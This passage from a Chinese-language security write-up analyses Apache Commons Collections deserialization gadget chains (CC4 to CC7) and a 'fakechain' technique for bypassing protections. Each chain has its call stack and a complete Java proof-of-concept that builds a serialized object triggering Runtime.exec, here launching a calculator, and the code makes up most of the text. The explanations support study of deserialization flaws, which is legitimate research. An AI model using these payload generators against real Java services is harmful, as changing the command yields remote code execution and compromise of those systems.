// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
/**
* TrAXFilter 构造函数能直接触发 所以不用利用 invoke 那个
*/
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
并没有什么新东西,具体逻辑便是通过设置PriorityQueue 的comparator属性为我们定义好的ChainedTransformer ,使ChainedTransformer 的transformer方法执行,结合TrAXFilter与InstantiateTransformer触发TemplatesImpl 恶意字节码的类生成并触发其构造方法达到命令执行的目的。
LazyMap+TideMap+BadAttributeValueExpException
CommonsCollections 3.1 - 3.2.1,JDK 7u80 以上(低于7u80的BadAttributeValueExpException 无readObject方法)
调试该链时,因为涉及toString函数调用,所以idea调试请关闭此俩选项
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前半部分和CC1一样,后半部分引入了TiedMapEntry 和BadAttributeValueExpException ,我们来分析一下这俩东西。
首先我们在CC1中已经知道了LazyMap的get方法会触发其在decorate中传入的Transfromer类的transform方法。
在TiedMapEntry类中存在方法getValue,会调用在构造函数中传入的map的get方法
而且在TiedMapEntry类中同时也存在方法toString会调用getValue方法
该类的readObject方法如下
这里会调用toString方法,然后进入TideMapEntry开始链的执行。 这里valObj就是val变量的值。
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
所以我们在POC中用反射将val变量进行了赋值,赋的值是恶意TiedMapEntry 对象。
这里有一个细节就是,val变量是可以通过构造函数赋值的。
但是如果用构造函数直接给val赋值的话,会导致val在赋值的时候便触发toString,导致在反序列化时,valObject的值改变,导致原本预期的逻辑改变,无法进入预想的分支。
这是预期的情况(通过后期反射赋值val)
这是非预期情况(通过构造函数直接给val赋值,这里的val值直接变成了一个字符串,不要以为是ProcessImpl对象!注意引号!)
TideMap.hashcode+Lazymap
CommonsCollections 3.1 - 3.2.1
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
Object node = array[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
在TiedMapEntry 中,除了toString,还有hashCode方法可以调用getValue方法
那么这个hashCode方法哪里可以被调用呢?cc6中使用的是HashMap#hash
那么哪里调用了HashMap.hash且传入了可控参数?这里用到了HashMap#put:
那么哪里调用了HashMap.put 且传入了可控参数?这里用到了HashSet#readObject:
这里的e就是一个反序列化对象。那么由此观之,链完整了。这里的e值是HashMap里table中每一个Node的Key值,他这里循环读取table中的所有Node的Key值并处理。
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);
Object node = array[0];
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
这里是用反射,去修改HashSet里的map属性中的table数组第一项的key值为恶意TiedMapEntry对象
这里涉及到HashMap的结构。
简而言之,HashMap底层是由一个叫table的长数组组成的,table中每一项都称为Node,每个Node存储的便是键值信息
利用链
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chain);
TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
lazyMap.clear();
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
在HashMap#readObject中存在这样的代码块
跟进putForCreate方法发现它可以调用hash方法
那么思路很明显了,我们可以通过HashMap的readObject方法去调用HashMap#putForCreate 进而调用HashMap#hash 从而实现这条链。
HashMap hashMap = new HashMap();
hashMap.put(tmap, "test");
lazyMap.clear();
我们此处有个clear()操作
我们在序列化前对HashMap进行put操作时,会调用equals方法
一直跟下去会发现会触发lazymap的get方法,我们这里会发现调用了put方法向lazymap增加了键值对。
可以发现添加了一个ProcessImpl对象的value,这个对象没有实现序列化接口,不能被序列化,所以如果没有lazymap2.remove(“yy”),就会导致在序列化时出现错误。
所以通过lazymap2.remove(“yy”),可以帮助我们剔除在hashtable#put时添加进lazymap2中的不可序列化的对象,实现序列化。
CommonsCollections 3.1 - 3.2.1
HashTable.readObject()
HashTable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
在Hashtable#readObject中存在如下代码块
存在方法reconstitutionPut,进行跟进
这里会将两个LazyMap用AbstractMapDecorator#equals 进行比较。这里的两个key值就分别代表着两个LazyMap。
跟进后发现又有一个equals方法,跟进来到AbstractMap#equals
发现会对传入的TiedMapEntry调用get方法
这样看,链就明了了。
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
我们发现此处put的值是yy和zZ,我们如果put其他值的话是不能完成这条链的。我们看这个地方。
hash方法在这里会获取key值(在这里就是LazyMap对象)的key值的hash。 所以这里会判断hashtable中的两个key值(也就是两个LazyMap对象)的key值hash是否相同,只有相同才能下一步。 而yy和zZ的hash值在java中是相同的
这个时候可能会有疑问,为什么LazyMap的key值不能设成一样的呢?因为设成一样的会造成如下问题
在readObject时会造成elements元素的值为1
elements值为1,则在此处只能进行一次循环,导致Hashtable#equals方法不能被执行(Hashtable#equals方法需要至少两个hashtable中的key值才能执行,具体逻辑见上文)。
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
我们在序列化前对hashtable进行第二次put操作时,也会调用equals方法
从而会触发lazymap2的get方法,我们这里会发现调用了put方法向lazymap2增加了键值对。
进而导致lazymap2的结构变成了这样
可以发现在value处存在一个ProcessImpl对象,这个对象没有实现序列化接口,不能被序列化,所以如果没有lazymap2.remove(“yy”),就会导致在序列化时出现错误。
所以通过lazymap2.remove(“yy”),可以帮助我们剔除在hashtable#put时添加进lazymap2中的不可序列化的对象,实现序列化。
fakechain是一种对安全防护Bypass的一种手段。
给Lazymap或者TransformerMap 设置ChainedTransformer 对象时,可以在其中先放置一个空的Transformer对象,在反序列化前最后一步再通过反射将ChainedTransformer 对象内部的itransformer
属性改回到真正的chain。(itransformer
属性是ChainedTransformer 内部存储Transformer对象的数组)
以CC1为例。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
//定义两个chain
Transformer[] chain= new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})};
Transformer[] fakechain = new Transformer[]{};
//定义一个ChainedTransformer ,并传入fakechain
ChainedTransformer chainedTransformer = new ChainedTransformer(fakechain);
Map innermap = new HashMap();
Map outermap = LazyMap.decorate(innermap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);
Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox);
//通过反射修改chainedTransformer对象的itransformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, chain);
ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream("a.bin"));
a.writeObject(handler1);
ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
b.readObject();
}
}
另外可以通过这种方式防止在反序列化前调用ChainedTransformer内部的chain触发命令执行,在分析代码的时候能够起到一定的帮助(减少干扰)。
reference:https://clq0.top/commons_collections_analysis/
http://wjlshare.com/archives/1535